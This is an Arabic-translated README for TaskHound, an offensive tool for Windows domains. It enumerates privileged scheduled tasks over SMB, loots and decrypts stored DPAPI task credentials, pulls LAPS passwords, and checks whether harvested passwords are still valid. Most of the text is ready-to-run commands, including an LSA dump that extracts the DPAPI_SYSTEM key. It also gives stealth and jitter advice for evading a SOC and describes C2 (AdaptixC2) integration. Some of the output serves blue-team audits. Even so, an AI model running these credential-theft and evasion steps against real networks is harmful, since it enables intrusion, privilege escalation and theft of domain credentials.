
TaskHound v1.2.0
أداة لتعداد المهام المجدولة ذات الامتياز على الأنظمة البعيدة
أداة اكتشاف المهام المجدولة ذات الامتيازات في ويندوز للمتعة والربح.
يقوم TaskHound بالبحث عن المهام المجدولة في ويندوز التي تعمل بحسابات ذات امتيازات وبيانات اعتماد مخزنة. يقوم بتعداد المهام عبر SMB، وتحليل ملفات XML، وتحديد فرص الهجوم عالية القيمة من خلال التكامل مع BloodHound.
للخلفية/القصة والشروحات التفصيلية: راجع منشورات المدونة المرتبطة - الجزء 1 والجزء 2.
الميزات الرئيسية
| الميزة | الوصف |
|---|---|
| كشف المستوى 0 والعالية القيمة | يحدد تلقائيًا المهام التي تعمل كمسؤولي المجال ومسؤولي المؤسسة والحسابات الأخرى ذات الامتيازات |
| التكامل مع BloodHound | الاتصال بنسخ BHCE/قديمة أو استيراد الصادرات للكشف عن المستخدمين عالية القيمة |
| دعم OpenGraph | تصور المهام المجدولة كعقد مسار هجوم في BloodHound CE |
| التكامل مع LAPS | استرداد واستخدام كلمات مرور LAPS تلقائيًا (كل من Windows LAPS والقديم) للمصادقة لكل مضيف |
| استخراج بيانات اعتماد DPAPI | جمع وفك تشفير blobs DPAPI التي تحتوي على بيانات اعتماد المهام المخزنة |
| المسح متعدد الخيوط | معالجة الأهداف المتوازية مع تحديد المعدل للبيئات الكبيرة |
| كشف المستوى 0 المعتمد على LDAP | كشف الحسابات ذات الامتيازات عبر عضوية المجموعة بدون BloodHound |
| التحقق من صحة بيانات الاعتماد | التحقق مما إذا كانت كلمات مرور المهام المخزنة لا تزال صالحة عبر RPC |
| التحليل دون اتصال | معالجة صور الأقراص المثبتة أو XMLs التي تم جمعها سابقًا |
| تنسيقات إخراج متعددة | تقارير أمان نص عادي، JSON، CSV، وHTML مع تسجيل شدة الخطورة |
| حل SID | حل متعدد المستويات عبر BloodHound → Cache → LSARPC → LDAP → GC |
| التخزين المؤقت | ذاكرة تخزين مؤقتة دائمة قائمة على SQLite لعمليات بحث SID وبيانات اعتماد LAPS |
بداية سريعة```bash
Install
git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .
Basic usage - single target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
Multiple targets with threading
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10
Auto-discover all domain computers
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20
With LAPS - auto-retrieves per-host local admin passwords
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
Offline analysis of mounted disk image
taskhound --offline-disk /mnt/disk
> **دعم المصادقة**: يدعم TaskHound معظم آليات المصادقة الرئيسية بما في ذلك كلمة المرور، تجزئة NTLM، Kerberos (أيضًا مع ccache)، ومصادقة مفتاح AES.
## ملف التهيئة
يدعم TaskHound ملفات تهيئة بتنسيق TOML للإعدادات الدائمة. قم بإنشاء `taskhound.toml` في دليل العمل الخاص بك أو في `~/.config/taskhound/`:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"
[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30
[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}" # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"
[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"
[laps]
enabled = true
[cache]
enabled = true
ttl = 86400 # 24 hours
الأولوية: CLI args > Environment variables > Local config > User config > Defaults
تكامل AdaptixC2
BOF الخاص بـ TaskHound مضمن في Adaptix Extension-Kit تحت SAR-BOF/taskhound/.
مخرجات العرض التوضيحي```
TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD
by 0xr0BIT
[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)
┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘
╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯
---
## تكامل BloodHound
يدعم TaskHound كلاً من **Legacy BloodHound** (Neo4j) و**BloodHound Community Edition (BHCE)** مع الكشف التلقائي عن التنسيق.
### الاتصال المباشر```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"
# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-user admin --bh-password password
# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
--bh-user neo4j --bh-password password
أساليب الكشف من المستوى 0 (Tier 0)
| المصدر | طريقة الكشف |
|---|---|
| BHCE | isTierZero, علامات النظام (admin_tier_0), AdminSDHolder |
| قديم (Legacy) | AdminSDHolder (admincount=1), الكشف المستند إلى SID |
| LDAP | استعلامات عضويات المجموعة (--ldap-tier0) |
| مضمّن (Built-in) | SIDs معروفة من المستوى 0 (مشرفي المجال، مشرفي المؤسسة، إلخ) |
استيراد البيانات دون اتصال
إذا لم يكن الاتصال المباشر ممكنًا، قم بتصدير المستخدمين ذوي القيمة العالية باستخدام استعلامات Cypher التالية:
BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;
**إرث:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups
Then use: taskhound --bh-data exported_users.json ...
تصور مسار الهجوم OpenGraph
يقوم TaskHound بإنشاء عُقد وحواف مخصصة في BloodHound CE لتصور مسارات هجوم المهام المجدولة.
ما ستحصل عليه:
- عُقد مخصصة:
ScheduledTaskمع أكثر من 20 خاصية (بيانات الاعتماد، المشغلات، تحليل كلمة المرور، حالة التحقق) - حواف مخصصة:
HasTask,HasTaskWithStoredCreds,RunsAs - مسارات الهجوم: `(Owned) → AdminTo → (Computer) → HasTask → (Task) → RunsAs → (Target)````bash
Collect and auto-upload
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph
Generate without upload (saves to {output_dir}/opengraph/)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload
> **ملاحظة**: OpenGraph مخصص لـ BHCE فقط. الإصدار القديم من BloodHound لا يدعم أنواع العقد المخصصة.
---
## دمج LAPS
يمكن لـ TaskHound استرداد واستخدام كلمات مرور LAPS تلقائيًا للمصادقة لكل مضيف. يدعم كلاً من Windows LAPS (`msLAPS-Password`) و Legacy LAPS (`ms-Mcs-AdmPwd`)، بما في ذلك كلمات المرور المشفرة عبر MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin
# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps
أنواع LAPS المدعومة:
| النوع | السمة | مشفر |
|---|---|---|
| Windows LAPS | msLAPS-Password | لا |
| Windows LAPS | msLAPS-EncryptedPassword | نعم (MS-GKDI) |
| Legacy LAPS | ms-Mcs-AdmPwd | لا |
استخراج بيانات اعتماد DPAPI
يقوم TaskHound باستخراج وفك تشفير بيانات اعتماد المهام المخزنة باستخدام DPAPI. تم تمكين سرقة DPAPI افتراضيًا.```bash
Step 1: Get DPAPI_SYSTEM key via LSA dump
nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa
Look for: DPAPI_SYSTEM userkey: 0x51e43225...
Step 2a: Loot + decrypt immediately (looting is default, just add key)
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...
Step 2b: Or collect now (default saves to ./output/raw_backups/), decrypt later
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local
Later:
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
Custom output directory
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected
Disable DPAPI looting explicitly
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot
> **Important**: كل مضيف لديه مفتاح DPAPI_SYSTEM فريد. لعمليات الفحص على أهداف متعددة، قم بجمع (افتراضيًا)، ثم فك تشفير كل هدف دون اتصال.
---
## التحقق من صحة بيانات الاعتماد
يقوم TaskHound بتقييم ما إذا كانت كلمات مرور المهام المخزنة لا تزال صالحة على الأرجح من خلال الاستعلام عن تاريخ تنفيذ المهام عبر RPC وتطبيق القواعد الاستدلالية. هذه الميزة **مفعلة افتراضيًا**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds
كيف يعمل
يسجل "مجدول مهام ويندوز" (Windows Task Scheduler) عمليات التنفيذ الناجحة فقط. يتم تجاهل حالات فشل المصادقة (كلمة مرور خاطئة، حساب مقفل، إلخ.) بصمت. المهمة ببساطة لا تُنفَّذ.
رؤية رئيسية: يتحقق ويندوز من بيانات الاعتماد عند وقت إنشاء المهمة. إذا حاولت إنشاء مهمة بكلمة مرور خاطئة، تحصل على ERROR_LOGON_FAILURE ولا يتم إنشاء المهمة. هذا يعني: إذا كانت مهمة تحتوي على بيانات اعتماد مخزنة موجودة، فإن كلمة المرور كانت صالحة عند وقت إنشاء المهمة.
يستخدم TaskHound الاستدلال التقديري لتقدير صلاحية بيانات الاعتماد:
| الحالة | المعنى |
|---|---|
CONFIRMED_VALID | كلمة المرور لم تتغير منذ إنشاء المهمة وتم تنفيذ المهمة ضمن الجدول المتوقع - تم تأكيد أن بيانات الاعتماد تعمل |
HIGH_CONFIDENCE_VALID | كلمة المرور لم تتغير منذ إنشاء المهمة، لكن توقيت المشغل غير معروف (مثل مشغل الإقلاع) - من المحتمل أن بيانات الاعتماد صالحة |
LIKELY_VALID | تغيرت كلمة المرور لكن المهمة نُفِّذت ضمن الجدول (تم تحديث بيانات الاعتماد)، أو تم تنفيذ المهمة بنجاح (وضع RPC فقط) |
POSSIBLY_STALE | كان يجب أن تُنفَّذ المهمة لكنها لم تُنفَّذ - قد يشير إلى بيانات اعتماد قديمة |
DEFINITELY_STALE | تغيرت كلمة المرور بعد آخر تشغيل ناجح - بيانات الاعتماد خاطئة بالتأكيد |
NEVER_RAN_LIKELY_VALID | المهمة لم تُنفَّذ أبداً، لكن كلمة المرور لم تتغير منذ الإنشاء - من المحتمل أنها صالحة (قد تفتقر إلى حقوق تسجيل الدخول الدفعي) |
NEVER_RAN_POSSIBLY_STALE | المهمة لم تُنفَّذ أبداً، وتغيرت كلمة المرور بعد الإنشاء - من المحتمل أنها قديمة |
NEVER_RAN_UNKNOWN | المهمة لم تُنفَّذ أبداً، لا يوجد سياق Active Directory - كانت صالحة عند الإنشاء، الحالة الحالية غير معروفة |
UNKNOWN | لا يمكن التحديد (حساب محظور، إلخ.) |
الرؤية الرئيسية: مقارنة pwdLastSet من Active Directory مع LastRunTime من مجدول المهام تخبرنا إذا تغيرت كلمة المرور بعد آخر تشغيل ناجح. بالنسبة للمهام التي لم تُنفَّذ أبداً، مقارنة pwdLastSet مع task_creation_date تخبرنا إذا تغيرت كلمة المرور بعد إنشاء المهمة ببيانات اعتماد صالحة.
بدون بيانات Active Directory (مثل --no-ldap وبدون BloodHound): يعود TaskHound إلى وضع RPC فقط، باستخدام رمز الإرجاع ووقت آخر تشغيل فقط. التنفيذ الناجح يعيد LIKELY_VALID؛ لا يزال اكتشاف القدم بناءً على الجدول الزمني سارياً إذا كان فاصل المشغل معروفاً من XML المهمة.
ملاحظة: معطل عند استخدام
--opsecأو--no-rpc.
تنسيقات الإخراج
يدعم TaskHound تنسيقات إخراج متعددة لحالات استخدام مختلفة. تستخدم جميع المخرجات هيكل دليل منظم تحت --output-dir (الافتراضي: ./output).
التنسيقات المتاحة
| التنسيق | العلامة | الوصف | حالة الاستخدام |
|---|---|---|---|
| نص عادي | -o plain | إخراج وحدة التحكم قابل للقراءة البشرية (الافتراضي) | الاستخدام التفاعلي، المراجعة السريعة |
| JSON | -o json | تصدير منظم قابل للقراءة آلياً | الأتمتة، تحليل البيانات، البرمجة النصية |
| CSV | -o csv | تصدير متوافق مع جداول البيانات | التقارير، التصفية، تحليل Excel |
| HTML | -o html | تقرير أمني مع تقدير شدة المخاطر | تدقيق الفرق الزرقاء، تقارير لأصحاب المصلحة |
أمثلة الاستخدام```bash
Default - plain text to console + files
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
Multiple output formats
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html
JSON only for automation
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json
Custom output directory
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results
All formats for comprehensive audit
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit
### هيكل الدليل```
./output/ # Base directory (--output-dir)
├── plain/ # Plain text output
│ └── <hostname>/
│ └── tasks.txt
├── json/ # JSON export
│ └── taskhound.json
├── csv/ # CSV export
│ └── taskhound.csv
├── html/ # HTML security reports
│ └── taskhound.html
├── opengraph/ # BloodHound OpenGraph files
│ └── taskhound_data.json
└── raw_backups/ # Raw collection (XML + DPAPI)
└── <hostname>/
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
تقارير أمان HTML
يُنتج مخرج HTML تقرير أمان شامل مصمم لتقييمات الفريق الأزرق:
- تصنيف الخطورة: يتم تقييم المهام حسب مستوى الخطر بناءً على الامتياز وبيانات الاعتماد المخزنة والتكوين
- تفاصيل المهمة: بيانات وصفية كاملة تتضمن المشغلات والإجراءات وحسابات التشغيل وحالة التحقق
- التصفية: تصفية من جانب العميل حسب المضيف والخطورة وحالة بيانات الاعتماد
- جاهز للتصدير: مناسب لتقارير الإدارة ووثائق التدقيق
مجموعة النسخ الاحتياطية
بشكل افتراضي، يحفظ TaskHound ملفات المهام الخام بصيغة XML وكتل بيانات اعتماد DPAPI للتحليل دون اتصال:```bash
Disable backup collection
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup
Analyze backups later (offline mode)
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
---
## المسح متعدد الخيوط
بالنسبة للبيئات الكبيرة، استخدم المسح المتوازي مع تحديد معدل:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5
# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20
# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90
# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0
تصفية الأهداف التلقائية
بشكل افتراضي، يطبق --auto-targets تصفية ذكية لتقليل الضوضاء والاتصالات الفاشلة:
| الفلتر | الافتراضي | التجاوز |
|---|---|---|
| الحسابات المعطلة | مستبعد | --include-disabled |
| أجهزة الكمبيوتر القديمة (أكثر من 60 يومًا) | مستبعد | --stale-threshold 0 (تعطيل) |
| وحدات تحكم المجال | مستبعد | --include-dcs |
أولوية مصدر البيانات: BloodHound (إذا تم تكوينه) → التراجع إلى LDAP
عند استخدام BloodHound، يقوم TaskHound بالاستعلام باستخدام include_properties=true لتعداد فعال باستعلام واحد. إذا كانت بيانات BloodHound أقدم من 7 أيام، يتم عرض تحذير؛ أكثر من 30 يومًا يؤدي إلى تحذير عاجل.
إعدادات الفلتر المسبقة:
servers- أنظمة تشغيل Windows Server فقطworkstations- أنظمة تشغيل غير خادمة فقط(raw LDAP)- فلتر LDAP مخصص (يتطلب مصدر LDAP)
تحليل معرفات الأمان (SID)
يقوم TaskHound بحل معرفات SID إلى أسماء قابلة للقراءة باستخدام سلسلة تراجع متعددة المستويات:
- BloodHound (إذا كان متصلاً) - الأسرع، لا حركة مرور شبكة
- ذاكرة التخزين المؤقت - ذاكرة تخزين مؤقت دائمة SQLite (TTL افتراضي 24 ساعة)
- LSARPC - استعلام مباشر للهدف (الأكثر دقة للحسابات المحلية)
- LDAP - استعلام وحدة تحكم المجال
- الكتالوج العالمي - لمعرفات SID عبر المجالات/الغابات```bash
Separate LDAP credentials for SID resolution
taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local
Specify Global Catalog for multi-domain
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1
Disable all network-based resolution (OPSEC)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec
---
## التحليل دون اتصال
تحليل المهام دون الوصول إلى الشبكة:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local
# Mounted disk image
taskhound --offline-disk /mnt/disk
# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE
اعتبارات OPSEC
توفر TaskHound تحكمًا دقيقًا في عمليات الشبكة لتحقيق التوازن بين التخفي والوظائف.
تأثير البروتوكولات
| البروتوكول | العمليات | العلم لتعطيل |
|---|---|---|
| SMB | تعداد المهام (يُستخدم دائمًا) | غير متاح |
| LDAP (389/636) | حل SID, كشف Tier-0, pwdLastSet | --no-ldap |
| Global Catalog (3268) | حل SID عبر النطاق | --no-ldap |
| LSARPC (SMB pipe) | حل SID احتياطي | --no-rpc |
| Remote Registry (SMB pipe) | كشف Credential Guard | --no-credguard |
| Task Scheduler RPC (SMB pipe) | التحقق من بيانات الاعتماد | --no-validate-creds |
| DPAPI file collection (SMB) | جمع blobs بيانات اعتماد DPAPI | --no-loot |
سلسلة حل SID```
Default: BloodHound → Cache → LSARPC → LDAP → GC
--no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC
--opsec: BloodHound → Cache (only)
### السلوك الافتراضي
يكون TaskHound **مُزعِجًا جدًا بشكل افتراضي** - حيث يتم تمكين جميع الميزات لتحقيق أقصى قدر من الرؤية. وهذا يجعله مثاليًا للتدقيق والتقييمات الشاملة عندما لا تكون OPSEC مصدر قلق:
- **كشف حماية بيانات الاعتماد (Credential Guard)** - ممكّن افتراضيًا (تعطيل باستخدام `--no-credguard`)
- **التحقق من صحة بيانات الاعتماد** - ممكّن افتراضيًا (تعطيل باستخدام `--no-validate-creds`)
- **نهب DPAPI** - ممكّن افتراضيًا (تعطيل باستخدام `--no-loot`)
- **تحليل LDAP** - ممكّن افتراضيًا (تعطيل باستخدام `--no-ldap`)
- **عمليات RPC** - ممكّن افتراضيًا (تعطيل باستخدام `--no-rpc`)
> [!WARNING]
> **فحوصات حماية بيانات الاعتماد (Credential Guard) قابلة للكشف بدرجة عالية.** نظرًا لأن خدمة السجل عن بُعد (Remote Registry) متوقفة افتراضيًا على أنظمة Windows الحديثة، فإن TaskHound سيقوم بتشغيل الخدمة عن بُعد عبر SCM، وإجراء الفحوصات، ثم إيقافها (تمامًا مثل secretsdump). وهذا سيجعل أي مركز عمليات أمني (SOC) لائق يضيء مثل شجرة عيد الميلاد. **بالتأكيد استخدم `--no-credguard` إذا كنت تريد تجنب ذلك في المهام!**
بالحديث عن المهام: لعمليات الفريق الأحمر/التخفي، استخدم `--opsec` لتعطيل جميع الميزات المزعجة دفعة واحدة. (أو استخدم BOF).
### أمثلة الاستخدام```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec
# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5
# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap
# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc
# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps
أفضل الممارسات للتمويه
- تهيئة بيانات BloodHound مسبقًا - استيراد بيانات المجال أولاً باستخدام
--bh-live - استخدام العلم
--opsec- تعطيل جميع العمليات المزعجة دفعة واحدة - إضافة
--jitterلتفاوت التوقيت - تجنب أنماط المسح المتوقعة - جمع ملفات XML بوسائل أخرى - التحليل دون اتصال باستخدام
--offline - استخدام تنفيذ BOF - متوفر في AdaptixC2
مرجع سطر الأوامر الكامل
يستخدم TaskHound مكتبة Rich لإخراج وحدة التحكم المنسق مع جداول ملونة ومؤشرات تقدم.``` taskhound --help
<details>
<summary>انقر لتوسيع الاستخدام الكامل</summary>```
Usage: taskhound [OPTIONS] [TARGETS]
AUTHENTICATION OPTIONS
-u, --username Username (required for online mode)
-p, --password Password (omit with -k for Kerberos/ccache)
-d, --domain Domain (required for online mode)
--hashes NTLM hashes (LM:NT or NT-only)
-k, --kerberos Use Kerberos authentication
--aes-key AES key for Kerberos (32 or 64 hex chars)
TARGET OPTIONS
-t, --target Single target or comma-separated list
--targets-file File with targets, one per line
--dc-ip Domain controller IP
--ns, --nameserver DNS nameserver for lookups
--timeout Connection timeout in seconds (default: 5)
--threads Parallel worker threads (default: 10)
--rate-limit Max targets per second (default: unlimited)
--jitter SECONDS Random delay (0-N seconds) between hosts (OPSEC, sequential only)
--dns-tcp Force DNS over TCP (for SOCKS proxies)
--auto-targets Auto-discover targets (BloodHound first, LDAP fallback)
--ldap-filter Filter for auto-targets: 'servers', 'workstations', or raw LDAP
--include-dcs Include Domain Controllers in auto-targets
--include-disabled Include disabled computer accounts
--stale-threshold Exclude computers inactive >N days (default: 60, 0=disable)
SCANNING OPTIONS
--offline Parse XMLs from directory
--offline-disk Analyze mounted Windows filesystem
--disk-hostname Override hostname for offline-disk
--bh-data BloodHound export file for HV detection
--opsec Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
--no-rpc Disable RPC operations (LSARPC, CredGuard, validation)
--include-ms Include \Microsoft tasks
--include-local Include local system accounts
--include-all Include ALL tasks
--unsaved-creds Show tasks without stored credentials
--no-credguard Disable Credential Guard detection (default: enabled)
--no-validate-creds Disable credential validation (default: enabled)
BLOODHOUND OPTIONS
--bh-live Enable live BloodHound connection
--bh-connector BloodHound URI (default: http://127.0.0.1:8080)
--bh-user BloodHound username
--bh-password BloodHound password
--bh-api-key BloodHound API key
--bh-api-key-id BloodHound API key ID
--bh-timeout API query timeout (default: 120)
--bhce Use BHCE (Community Edition)
--legacy Use Legacy BloodHound (Neo4j)
--bh-save Save query results to file
OPENGRAPH OPTIONS (BHCE ONLY)
--bh-opengraph Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
--bh-no-upload Skip automatic upload
--bh-force-icon Force icon update
--bh-icon Icon name (default: clock)
--bh-color Icon color (default: #8B5CF6)
--bh-allow-orphans Create edges for missing nodes
DPAPI OPTIONS
--no-loot Disable DPAPI credential collection (default: enabled)
--dpapi-key DPAPI_SYSTEM userkey (hex format)
LDAP/SID RESOLUTION
--no-ldap Disable LDAP/GC operations
--ldap-user Alternative LDAP username
--ldap-password Alternative LDAP password
--ldap-hashes Alternative LDAP hashes
--ldap-domain Alternative LDAP domain
--ldap-tier0 Enable LDAP-based Tier-0 detection
--gc-server Global Catalog server IP
LAPS OPTIONS
--laps Enable LAPS authentication
--laps-user Override local admin username
--force-laps Force LAPS in OPSEC mode
CACHE OPTIONS
--cache-ttl Cache TTL in seconds (default: 86400)
--no-cache Disable caching
--clear-cache Clear cache before run
--cache-file Cache file path
OUTPUT OPTIONS
-o, --output Output formats (comma-separated: plain,json,csv,html)
Default: plain
--output-dir Base output directory (default: ./output)
--no-backup Disable raw XML backup collection
--no-summary Disable summary table
Output directory structure:
./output/
├── plain/<host>/tasks.txt # Plain text output
├── json/taskhound.json # JSON export
├── csv/taskhound.csv # CSV export
├── html/taskhound.html # HTML security report
├── opengraph/ # BloodHound OpenGraph files
└── raw_backups/<host>/ # Raw XML + DPAPI files
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
MISC
--verbose Verbose output
--debug Debug output with stack traces
خارطة الطريق
عندما يتزامن استهلاك الكافيين ووقت الفراغ:
تم إكماله مؤخرًا
مصادقة مفتاح API - طلبات موقعة بـ HMAC-SHA256دعم LAPS - Windows LAPS + Legacy + مشفر عبر MS-GKDIمعالجة متعددة الخيوط - مسح متوازٍ مع تحديد المعدلالتحقق من صحة بيانات الاعتماد - فحص صحة كلمة المرور عبر RPCتنسيقات إخراج متعددة - عادي، JSON، CSV، HTML مع تخطيط دليل منظماكتشاف الأهداف تلقائيًا - تعداد أجهزة الكمبيوتر عبر LDAPوضع القرص غير المتصل - تحليل صورة القرص المثبتالتخزين المؤقت المستمر - ذاكرة تخزين SQLite لبيانات SID/LAPSإخراج وحدة تحكم غني - جداول ملونة ومؤشرات تقدمدعم عبر النطاقات - بيئات متعددة النطاقات مع علاقات ثقة
مخطط له
- تقسيم المراحل إلى وحدات: تحول هذا إلى وحش ضخم مع عدد كبير جدًا من المفاتيح. سأصلح ذلك.
- دمج معلومات الاستغلال: تقنيات MITRE ATT&CK في عُقد BloodHound
- تعيينات Tier-0 مخصصة: دعم لمناطق الامتياز التي يعرفها المستخدم في BHCE
- فحوصات Linux: دعم لمسح أنظمة التشغيل المستندة إلى *nix
شكر وتقدير
- Fortra/Impacket - SMB/RPC/Kerberos, DPAPI-NG, MS-GKDI
- SpecterOps/BloodHound - تحليل مسار الهجوم
- Podalirius/bh-opengraph - إلهام OpenGraph
- Pennyw0rth/NetExec - مرجع تنفيذ LAPS
- jborean93/dpapi-ng - أبحاث DPAPI-NG
- tijldeneut/DPAPIck3 - مرجع فك تشفير DPAPI
- gentilkiwi/mimikatz - أبحاث DPAPI
ولكل من ساهم في جعل أدوات أمن الهجوم متاحة.
إخلاء مسؤولية
